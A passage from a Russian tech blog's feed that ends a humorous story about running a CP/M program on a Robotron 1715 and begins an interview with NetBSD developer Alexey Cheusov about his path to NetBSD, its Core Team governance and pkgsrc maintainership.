  &lt;p id=&quot;1mLb&quot;&gt;Меня встретили у неприметной двери, в которую надо было постучать определенным образом и строго в нужной последовательности.&lt;/p&gt;
  &lt;p id=&quot;k9uq&quot;&gt;Затем надев на голову черный мешок, непроницаемый для любого света, аккуратно сопроводили в тайное помещение ордена.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;LGMW&quot; data-align=&quot;center&quot;&gt;Ордена «Свидетелей Спектрума».&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;oIKx&quot;&gt;С незапамятных времен Советского Союза, этот тайный орден хранил уникальные знания и что самое важное — поддерживал в рабочем состоянии удивительные машины из далекого прошлого.&lt;/p&gt;
  &lt;p id=&quot;C1Vv&quot;&gt;Тут было все: &lt;/p&gt;
  &lt;blockquote id=&quot;bpEY&quot;&gt;Спектрумы, Амиги, старые рабочие станции Sun и HP, DEC и даже Alpha.&lt;/blockquote&gt;
  &lt;p id=&quot;9X1F&quot;&gt;Денно и нощно (обычно по субботам) монахи ордена без устали смазывали, паяли и окуривали все это благовониями, дабы ублажить «дух машины» обитающий в старом железе.&lt;/p&gt;
  &lt;p id=&quot;vESj&quot;&gt;Орден ревностно хранил свои секреты и мне очень далеко не сразу было позволено хотя бы приблизиться к их древностям.&lt;/p&gt;
  &lt;p id=&quot;X4Ab&quot;&gt;Но все же мне необходима была их помощь для последней проверки перед сдачей этого фантастического проекта:&lt;/p&gt;
  &lt;blockquote id=&quot;WAhN&quot;&gt;запуска собранного приложения для машины из 1987го на &lt;strong&gt;реальном&lt;/strong&gt; компьютере 1987го.&lt;/blockquote&gt;
  &lt;p id=&quot;Dgvg&quot;&gt;Меня сопроводили в специальную, строго охраняемую комнату, где на постаменте, под защитным стеклом находился артефакт из далекого прошлого.&lt;/p&gt;
  &lt;figure id=&quot;5xqo&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/68/a9/68a9913b-af19-4448-8e07-179e9042ac43.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mjVc&quot;&gt;&lt;strong&gt;Robotron 1715&lt;/strong&gt; — 8-разрядный &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D1%81%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80&quot; target=&quot;_blank&quot;&gt;персональный компьютер&lt;/a&gt; производства &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%93%D0%94%D0%A0&quot; target=&quot;_blank&quot;&gt;ГДР&lt;/a&gt;. Производился на заводе &lt;a href=&quot;https://ru.wikipedia.org/wiki/VEB_Robotron&quot; target=&quot;_blank&quot;&gt;VEB Robotron&lt;/a&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;QQVb&quot;&gt;Версия 1715M, сохраненная в ордене это «экспортный» вариант, когда-то давно поставляемый в Советский Союз.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ELnA&quot;&gt;С величайшим почтением нашептывая молитвы загрузки, послушник в черном балахоне приблизился к постаменту и приложил ладонь к считывателю отпечатков пальцев.&lt;/p&gt;
  &lt;p id=&quot;Estp&quot;&gt;Защитное стекло начало медленно опускаться.&lt;/p&gt;
  &lt;blockquote id=&quot;a5SK&quot;&gt;Не прекращая молитвенные напевы, послушник вставил кабель питания в древнее устройство и наконец нажал кнопку запуска.&lt;/blockquote&gt;
  &lt;p id=&quot;KLJi&quot;&gt;Первыми ожили вентиляторы, оповестив своим гулом о начале пробуждения машины от долгого сна. Затем коротко пискнул спикер, сообщив об отсутствии неполадок в оборудовании. &lt;/p&gt;
  &lt;p id=&quot;lkP6&quot;&gt;Последним ожил древний ламповый монитор — лампам требовалось время для прогрева, поэтому надписи появились не сразу.&lt;/p&gt;
  &lt;p id=&quot;rvUJ&quot;&gt;Наконец запуск и загрузка операционной системы SCP — аналога CP/M, но из ГДР были завершены. &lt;/p&gt;
  &lt;p id=&quot;0o5T&quot;&gt;Появилось приглашение ввода команд:&lt;/p&gt;
  &lt;pre id=&quot;gcrv&quot;&gt;А&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;ETg6&quot;&gt;Послушник взял мою пятидюймовую дискету с записанной сборкой и с благоговением вставил ее в древний дисковод, не забыв выставить специальную защелку в вертикальное положение.&lt;/p&gt;
  &lt;p id=&quot;oHJN&quot;&gt;Затем на не менее древней механической клавиатуре он ввел:&lt;/p&gt;
  &lt;pre id=&quot;6RmI&quot;&gt;B:
MESSAGE.COM&lt;/pre&gt;
  &lt;p id=&quot;wjS1&quot;&gt;Дисковод ожил и издавая чудовищный скрежет начал загружать мое послание доктору Кригеру.&lt;/p&gt;
  &lt;p id=&quot;vudR&quot;&gt;Через какое-то время на экране появились строки:&lt;/p&gt;
  &lt;pre id=&quot;sLqv&quot;&gt;NE PUERO GLADIUM, DR. KRIGER.
04.03.2026&lt;/pre&gt;
  &lt;p id=&quot;JBrz&quot;&gt;Что в переводе с латыни означает:&lt;/p&gt;
  &lt;blockquote id=&quot;4nhD&quot;&gt;НЕ СТОИТ ДАВАТЬ БОЕВОЙ МЕЧ МАЛЬЧИКУ, ДОКТОР КРИГЕР.&lt;/blockquote&gt;
  &lt;p id=&quot;FlJX&quot;&gt;Проверка удалась и написанное мой приложение для компьютеров 80х под CP/M действительно успешно запустилось на настоящем компьютере из 1987 года.&lt;/p&gt;
  &lt;p id=&quot;H5d5&quot;&gt;Так это выглядело в живую:&lt;/p&gt;
  &lt;figure id=&quot;7ATx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/67/d7/67d733c8-1850-4489-8bdd-397e2735081f.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Мое послание, запущенное на настоящем Роботроне.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Kew9&quot;&gt;ЭПИЛОГ&lt;/h2&gt;
  &lt;p id=&quot;R8DG&quot;&gt;Как мне позднее сообщили, коллега по опасному инженерному делу — доктор Кригер действительно впечатлился и на какое-то время перестал терроризировать сослуживцев &lt;s&gt;сливая с них лишнюю кровь&lt;/s&gt;.&lt;/p&gt;
  &lt;p id=&quot;wANt&quot;&gt;Обратив вместо этого пытливый взор на мою скромную персону и заставив немного побегать по Питеру от целой армии роботов.&lt;/p&gt;
  &lt;p id=&quot;4Xxk&quot;&gt;Как это было, что за смуглая красавица спасла меня от неминуемой гибели и почему я больше не смотрю «Битву экстрасенсов» — обо всем этом вы узнаете из следующих серий.&lt;/p&gt;
  &lt;p id=&quot;8qil&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;xrEn&quot;&gt;В наше непростое время, когда практически все сколь-нибудь серьезные темы находятся под контролем или запретом, с риском уголовного преследования, остается только использовать «Эзопов язык», превращая излагаемый материал в сказку для непосвященных.&lt;/p&gt;
  &lt;p id=&quot;R3LH&quot;&gt;Если вас, дорогой читатель, волнует реальность описываемых событий, задумайтесь о том, что чип Z80 (и его клоны) является &lt;strong&gt;вторым&lt;/strong&gt; по распространенности на планете, а операционная система CP/M c момента своего появления никогда не покидала прошивок промышленного оборудования.&lt;/p&gt;
  &lt;blockquote id=&quot;PYxG&quot;&gt;Закончилась война во Вьетнаме, вышли первые «Звездные войны», развалился Советский Союз, вышли первый и второй «Терминаторы», появился Linux, затем Google — все это время продолжали работать станки, с программируемой логикой на Z80, а временами даже с управляющим софтом под CP/M.&lt;/blockquote&gt;
  &lt;p id=&quot;qTbr&quot;&gt;Это на самом деле ведь никогда не заканчивалось.&lt;/p&gt;
  &lt;p id=&quot;cwO6&quot;&gt;И врядли закончится:&lt;/p&gt;
  &lt;figure id=&quot;Ld71&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/05/01/05014cc9-fe1d-47bc-9b9c-ae0de926fe87.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HsHt&quot;&gt;Теперь задумайтесь, а как бы происходила проверка компетенций, прежде чем допускать до подобного проекта? Не тестовым ли приложением?&lt;/p&gt;
  &lt;p id=&quot;HOzE&quot;&gt;Но кто именно был гостем с военной выправкой думаю вам выяснять не стоит, это секретная информация.&lt;/p&gt;

</content></entry><entry><id>alex0x08:netbsd-interview-alexey-cheusov</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/netbsd-interview-alexey-cheusov?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>NetBSD: Интервью с разработчиком</title><published>2026-02-11T09:05:29.949Z</published><updated>2026-02-12T02:56:29.322Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/54/89/548929f2-5a18-4433-866b-b6bda3f9740f.png"></media:thumbnail><category term="people" label="people"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/e1/05/e1052f3b-539a-4f76-9a3d-a9ea5a1eb4df.jpeg&quot;&gt;На одной истории с OpenBSD и Вячеславом Воронцовым мы не остановились и на этот раз в гостях у нас ещё один яркий и интересный представитель сообщества BSD.</summary><content type="html">
  &lt;p id=&quot;vVHU&quot;&gt;На одной истории с &lt;a href=&quot;https://blog.0x08.ru/openbsd-interview-msk-2025&quot; target=&quot;_blank&quot;&gt;OpenBSD и Вячеславом Воронцовым&lt;/a&gt; мы конечно же не остановились, на этот раз в гостях у нас ещё один яркий и интересный представитель сообщества BSD. &lt;/p&gt;
  &lt;figure id=&quot;T78p&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e1/05/e1052f3b-539a-4f76-9a3d-a9ea5a1eb4df.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wqu0&quot;&gt;Рассказ пойдет о системе NetBSD, потому что у нас в гостях Алексей Чеусов — самый настоящий разработчик NetBSD. &lt;/p&gt;
  &lt;p id=&quot;EFYq&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;qQQd&quot;&gt;Видео&lt;/h2&gt;
  &lt;p id=&quot;qvDk&quot;&gt;Выкладываем как обычно везде где только можно, сам ролик:&lt;/p&gt;
  &lt;figure id=&quot;A73l&quot; class=&quot;m_column&quot;&gt;
    &lt;iframe src=&quot;https://vk.com/video_ext.php?oid=-224640710&amp;id=456239056&amp;autoplay=0&quot;&gt;&lt;/iframe&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;75HR&quot;&gt;На других платформах: &lt;a href=&quot;https://youtu.be/q-YQqdamUNs&quot; target=&quot;_blank&quot;&gt;Youtube&lt;/a&gt;, &lt;a href=&quot;https://rutube.ru/video/b354d4cc8bfda28c410752f937ee26a3/&quot; target=&quot;_blank&quot;&gt;Rutube&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;
  &lt;h2 id=&quot;OluG&quot;&gt;Интервью&lt;/h2&gt;
  &lt;p id=&quot;FW8p&quot;&gt;Ниже вас ждет текстовая версия интервью с Алексеем в &lt;strong&gt;литературной обработке&lt;/strong&gt;, это не дословный перевод всех реплик из видео.&lt;/p&gt;
  &lt;blockquote id=&quot;lyUV&quot;&gt;По той простой причине, что мы «художественных ПТУ» не оканчивали и общаемся в жизни далеко не на литературном русском.&lt;/blockquote&gt;
  &lt;p id=&quot;PAyV&quot;&gt;Как и в прошлый раз, ради большей эпичности, будем использовать наши ники в сети для выделения реплик:&lt;/p&gt;
  &lt;ul id=&quot;gTUv&quot;&gt;
    &lt;li id=&quot;NtKg&quot;&gt;laizoaarz — Алексей Чеусов, гость&lt;/li&gt;
    &lt;li id=&quot;zMed&quot;&gt;alex0×08 — Александр Чернышев, ведущий&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;PGqp&quot;&gt;Собственно и автора и гостя можно легко найти, вбив ник в любую поисковую систему.&lt;/p&gt;
  &lt;p id=&quot;k8SZ&quot;&gt;Поехали.&lt;/p&gt;
  &lt;figure id=&quot;7YBA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/57/e7/57e7ac1d-b7d2-47ac-9737-d35b40b30c1e.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;xuEf&quot;&gt;Алексей Чеусов&lt;/h2&gt;
  &lt;p id=&quot;0o0z&quot;&gt;Алексей — программист-математик с большим опытом, работающий с NetBSD с 2006 года, действующий ментейнер в нескольких крупных открытых проектах, отвечающий за большое количество пакетов в &lt;code&gt;pkgsrc&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;Agtr&quot;&gt;Контакты&lt;/h3&gt;
  &lt;p id=&quot;Nmmx&quot;&gt;Почта: cheusov@netbsd.org&lt;/p&gt;
  &lt;p id=&quot;4gFC&quot;&gt;Телеграм: @convs_prog&lt;br /&gt;Github: &lt;a href=&quot;https://github.com/~cheusov&quot; target=&quot;_blank&quot;&gt;https://github.com/~cheusov&lt;/a&gt;&lt;br /&gt;Youtube: &lt;a href=&quot;https://www.youtube.com/@convs_prog&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@convs_prog&lt;/a&gt;&lt;br /&gt;Блог: dzen.ru/convs_prog&lt;/p&gt;
  &lt;p id=&quot;bOVy&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;4m5t&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;or4Y&quot;&gt;Всем привет. Это я. &lt;/p&gt;
  &lt;p id=&quot;NcEn&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Q2JR&quot;&gt;Если видели прошлые ролики, думаю догадываетесь что будет дальше:&lt;/p&gt;
  &lt;blockquote id=&quot;DsVD&quot;&gt;я буду снова задавать дурацкие и обывательские вопросы, Алексей будет давать умные комментарии и ответы. &lt;/blockquote&gt;
  &lt;p id=&quot;qUOD&quot;&gt;Мы кстати идём по самому центру Питера и помимо умного разговора о высоком, вы еще увидите офигительно красивую картинку (в ролике). &lt;/p&gt;
  &lt;p id=&quot;wqP3&quot;&gt;С погодой нам тоже сегодня сильно повезло, так что сейчас будет круто и красиво. &lt;/p&gt;
  &lt;p id=&quot;fy9j&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Zdvf&quot;&gt;Зовут меня Алексей Чеусов. &lt;/p&gt;
  &lt;p id=&quot;waOC&quot;&gt;Занимаюсь программированием с детства, зарабатываю этим примерно с девяносто шестого (1996). &lt;/p&gt;
  &lt;p id=&quot;6Uu8&quot;&gt;Люблю, знаете ли, железки поковырять. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;O3On&quot;&gt;Математику люблю, юниксы люблю. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;WA5I&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;1id6&quot;&gt;Алексей на самом деле скромничает, потому что он фактически самый настоящий математик, учёный. Закончил профильный математический ВУЗ и собственно говоря по основной работе занимается математикой. &lt;/p&gt;
  &lt;p id=&quot;zcQ5&quot;&gt;При этом является активным коммитером NetBSD, у него есть специальная почта в домене netbsd.org.&lt;/p&gt;
  &lt;figure id=&quot;M71X&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2a/da/2ada22cb-587c-4f29-a705-1a895f16287b.png&quot; width=&quot;1153&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aUio&quot;&gt;Еще Алексей активно выступает на конференциях с докладами как по математическим темам, так и по BSD-шным. &lt;/p&gt;
  &lt;blockquote id=&quot;vdwA&quot;&gt;Короче, это весьма известный, опытный и интересный человек. &lt;/blockquote&gt;
  &lt;p id=&quot;LmQ7&quot;&gt;Когда мы делали ролик про OpenBSD, я там говорил «ваш шанс встретить живого пользователя OpenBSD на улице примерно равен шансу встретиться с космонавтом». &lt;/p&gt;
  &lt;p id=&quot;kGFU&quot;&gt;Так вот с NetBSD всё ещё круче, поскольку это еще более редкая система. &lt;/p&gt;
  &lt;p id=&quot;7SlP&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;cGQQ&quot;&gt;Ну да, я сам из Минска, из Беларуси. Родился, вырос там. &lt;/p&gt;
  &lt;p id=&quot;RqCT&quot;&gt;И в моём окружении, честно сказать, никто NetBSD не использует. OpenBSD встречается в наших кругах куда чаще. &lt;/p&gt;
  &lt;figure id=&quot;fMWZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/57/fb/57fb408b-6fc1-4643-9f92-db3bd9bf49bc.png&quot; width=&quot;951&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HURQ&quot;&gt;Я в последнее время жил в Кутаиси и на одной тусовке местных экспатов встретил пользователя OpenBSD. &lt;/p&gt;
  &lt;p id=&quot;mWzX&quot;&gt;Это было очень неожиданно. Мы с ним тут же, за игрой в настольные игры поспорили, какая из BSD лучше. &lt;/p&gt;
  &lt;p id=&quot;tBSW&quot;&gt;Было весело и забавно: &lt;/p&gt;
  &lt;blockquote id=&quot;GS1o&quot;&gt;мало того, что мы BSD-шники, так ещё и встретились в узком кругу экспатов в Грузии. &lt;/blockquote&gt;
  &lt;figure id=&quot;ICrl&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/81/d2/81d2c9a4-fb96-4407-bf2e-5783682747b1.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;3Fby&quot;&gt;Почему NetBSD&lt;/h2&gt;
  &lt;p id=&quot;YsZ6&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;eYaw&quot;&gt;Расскажи, почему именно NetBSD? &lt;/p&gt;
  &lt;p id=&quot;oyiY&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;wzSm&quot;&gt;Как часто бывает, это случайность :)&lt;/p&gt;
  &lt;p id=&quot;6BBv&quot;&gt;Гостил у своих приятелей из &lt;a href=&quot;https://sam-solutions.com/&quot; target=&quot;_blank&quot;&gt;Sam Solutions&lt;/a&gt; — компания в Минске, где до сих пор существует отдел UNIX-разработки. Хотя сейчас уже Linux-разработки, в основном. &lt;/p&gt;
  &lt;p id=&quot;s8l7&quot;&gt;Увидел у них болванки — FreeBSD, NetBSD, OpenBSD. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;JS0J&quot; data-align=&quot;center&quot;&gt;Ну и попробовал все по очереди. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;NF2z&quot;&gt;Начав с FreeBSD, которая у меня.. упала и развалилась. Причём неоднократно, так что с ней у меня не задалось. &lt;/p&gt;
  &lt;figure id=&quot;UXbY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ef/6e/ef6efbcb-7fee-4000-b3ad-37f858cd37de.jpeg&quot; width=&quot;1600&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;89hK&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;u2cM&quot;&gt;Это была пятая версия, 5.3. &lt;/p&gt;
  &lt;p id=&quot;il7T&quot;&gt;После чего поставил NetBSD 2.02. Как сейчас помню, это был 2006 год. К тому моменту я уже был знаком с Линуксом много лет. &lt;/p&gt;
  &lt;blockquote id=&quot;GjAY&quot;&gt;Так что NetBSD — моя вторая Unix-подобная система. &lt;/blockquote&gt;
  &lt;p id=&quot;eKm1&quot;&gt;Первый был Linux Suse 6.1. &lt;/p&gt;
  &lt;figure id=&quot;b0KQ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ab/0d/ab0d4664-8771-4c8b-a815-c424d1937401.jpeg&quot; width=&quot;1024&quot; /&gt;
    &lt;figcaption&gt;Suse Linux 6.1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NdYX&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;XW6u&quot;&gt;И с NetBSD как-то у меня пошло. &lt;/p&gt;
  &lt;p id=&quot;vWaw&quot;&gt;Пошло во-первых, по технической части. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;LyMi&quot;&gt;Она мне понравилась, всё заработало, всё было очень просто и понятно. NetBSD какая-то такая.. стабильная оказалась. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;LU5p&quot;&gt;Дальше пошло общение с людьми, с разработчиками: &lt;/p&gt;
  &lt;p id=&quot;YBIF&quot;&gt;&lt;a href=&quot;https://github.com/0-wiz-0&quot; target=&quot;_blank&quot;&gt;Thomas Klausner&lt;/a&gt;, &lt;a href=&quot;https://blog.netbsd.org/tnf/entry/interview_with_christos_zoulas&quot; target=&quot;_blank&quot;&gt;Christos Zoulas&lt;/a&gt;, &lt;a href=&quot;https://wiki.netbsd.org/users/agc/&quot; target=&quot;_blank&quot;&gt;Alistair Crooks&lt;/a&gt;, &lt;a href=&quot;https://www.galois.com/team/david-holland&quot; target=&quot;_blank&quot;&gt;David Holland&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;6gOh&quot;&gt;Все эти ведущие разработчики NetBSD, с которыми пересекался, с ними пошло нормальное общение. &lt;/p&gt;
  &lt;blockquote id=&quot;v43g&quot;&gt;И я как-то увлёкся этим делом. &lt;/blockquote&gt;
  &lt;p id=&quot;Noha&quot;&gt;Ну и «прилип» не только к технике, но и к этим всем людям, которые показались очень интересными. &lt;/p&gt;
  &lt;figure id=&quot;4Too&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a6/6f/a66fc2c8-b525-4c1f-bc44-ca83bf7b4e4f.jpeg&quot; width=&quot;900&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;1wGR&quot;&gt;NetBSD и демократия&lt;/h2&gt;
  &lt;p id=&quot;sUsw&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;OMG1&quot;&gt;Когда готовился к этому ролику и начал собирать материал, оказалось что сообщество NetBSD — гораздо более.. демократично устроено, нежели другие, более известные и популярные из BSD. &lt;/p&gt;
  &lt;blockquote id=&quot;KTpG&quot;&gt;Например, каждый коммитер может выкладывать патчи для любого пакета. &lt;/blockquote&gt;
  &lt;p id=&quot;hJMd&quot;&gt;Расскажи как вообще у вас сообщество устроено, в чём отличие от «кровавого диктата» Тео в OpenBSD? &lt;/p&gt;
  &lt;figure id=&quot;iwSW&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/36/1a/361a57e4-c591-4ab7-a946-28dc9dcd5986.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;glVl&quot;&gt;laizoaarz&lt;/p&gt;
  &lt;p id=&quot;tmeZ&quot;&gt;Одна из причин, почему я не использую OpenBSD и считаю эту систему непригодной для жизни, это откровенный «фюризм». &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;DZso&quot;&gt;OpenBSD это система одного человека, как он сказал, так и будет.  &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;3Mf3&quot;&gt;А в NetBSD всё устроено совсем по-другому. &lt;/p&gt;
  &lt;p id=&quot;F4dY&quot;&gt;Там есть &lt;a href=&quot;https://www.netbsd.org/people/core.html&quot; target=&quot;_blank&quot;&gt;Core Team&lt;/a&gt;, который принимает взвешенные решения по спорным вопросам. Cостоит, насколько помню из семи человек. &lt;/p&gt;
  &lt;figure id=&quot;JYRU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9b/80/9b809ae8-b429-4651-9c4b-0b3f2177e580.png&quot; width=&quot;977&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kaX4&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;k4Gf&quot;&gt;И в случае возникновения каких-то непримиримых споров, все решается коллегиально. Туда кстати входил в прошлом и &lt;a href=&quot;https://github.com/nbuwe&quot; target=&quot;_blank&quot;&gt;Валерий Ушаков&lt;/a&gt; из Питера, ваш местный товарищ. &lt;/p&gt;
  &lt;blockquote id=&quot;3WL8&quot;&gt;Состав Core Team меняется и соответственно меняются поколения разработчиков. &lt;/blockquote&gt;
  &lt;p id=&quot;qB68&quot;&gt;В общем, как-то так всё происходит, более плавно. &lt;/p&gt;
  &lt;p id=&quot;9v1x&quot;&gt;Никто не уходит обиженным, в отличие от других экосистем, где всё устроено несколько по-другому. &lt;/p&gt;
  &lt;p id=&quot;8Nyr&quot;&gt;В NetBSD все сильно лучше в этом плане. Но тотальной «демократии» здесь совершенно точно нет, всё гораздо интереснее.  &lt;/p&gt;
  &lt;p id=&quot;aVji&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;DmMr&quot;&gt;В FreeBSD на самом деле тоже есть &lt;a href=&quot;https://en.wikipedia.org/wiki/FreeBSD_Core_Team&quot; target=&quot;_blank&quot;&gt;Core Team&lt;/a&gt;, размером по-больше, человек 15. Но в любом случае там нет такого, что любой коммитер может отправлять патчи в любую часть системы или набора пакетов. &lt;/p&gt;
  &lt;h2 id=&quot;az3e&quot;&gt;Про общие пакеты&lt;/h2&gt;
  &lt;p id=&quot;JjSw&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;K56d&quot;&gt;Приведу пример. &lt;/p&gt;
  &lt;p id=&quot;xFxs&quot;&gt;Если мы проанализируем самых популярных ментейнеров пакетов в &lt;a href=&quot;https://www.pkgsrc.org/&quot; target=&quot;_blank&quot;&gt;pkgsrc&lt;/a&gt;,  увидим там почтовый адрес &lt;a href=&quot;https://pkgsrc.se/bbmaint.php?maint=pkgsrc-users@NetBSD.org&quot; target=&quot;_blank&quot;&gt;@pkgsrc-users&lt;/a&gt;: &lt;/p&gt;
  &lt;figure id=&quot;Cbiz&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3f/ab/3faba373-40bc-46b0-a34d-8e4c20617c0d.png&quot; width=&quot;1075&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Ekeq&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;mv0A&quot;&gt;Это отнюдь не означает, что пакет бесхозный. &lt;/p&gt;
  &lt;p id=&quot;lwMC&quot;&gt;Это означает, что человек создал пакет, добавил в базу, но не берёт на себя труд по сопровождению этого пакета, по его поддержке. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;MMxq&quot;&gt;Пакет принадлежит как бы всем. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ZdI1&quot;&gt;И любой человек, с оглядкой на сообщество, на этот список рассылки &lt;code&gt;@pkgsrc-users&lt;/code&gt;, может сюда коммитить. &lt;/p&gt;
  &lt;p id=&quot;gi3T&quot;&gt;Все это приводит к тому, что откровенно бесхозных пакетов нет. &lt;/p&gt;
  &lt;p id=&quot;SsCV&quot;&gt;И получается, что пакеты движутся вперёд более активно, чем если бы один человек уснул или там, не знаю, нарожал детей, ушёл &lt;s&gt;в запой&lt;/s&gt; а пакет стоит без движения, без апдейтов все это время. &lt;/p&gt;
  &lt;p id=&quot;26QG&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;OoWw&quot;&gt;На самом деле, «не ушёл и не нарожал детей», чаще всего просто времени не хватает на все это у людей. &lt;/p&gt;
  &lt;blockquote id=&quot;MJuS&quot;&gt;Самая частая причина, что просто сильный завал по работе и все — ребят, извините, не тяну. &lt;/blockquote&gt;
  &lt;p id=&quot;EQUD&quot;&gt;По крайней мере во FreeBSD это самая частая причина, по которой меняются ментейнеры. &lt;/p&gt;
  &lt;p id=&quot;qjEa&quot;&gt;Точно не «идейные разногласия».&lt;/p&gt;
  &lt;figure id=&quot;lNhL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/91/6f/916f0a78-d100-4d51-a9aa-e4d20b3d909d.jpeg&quot; width=&quot;2100&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;XnUg&quot;&gt;История с тостером&lt;/h2&gt;
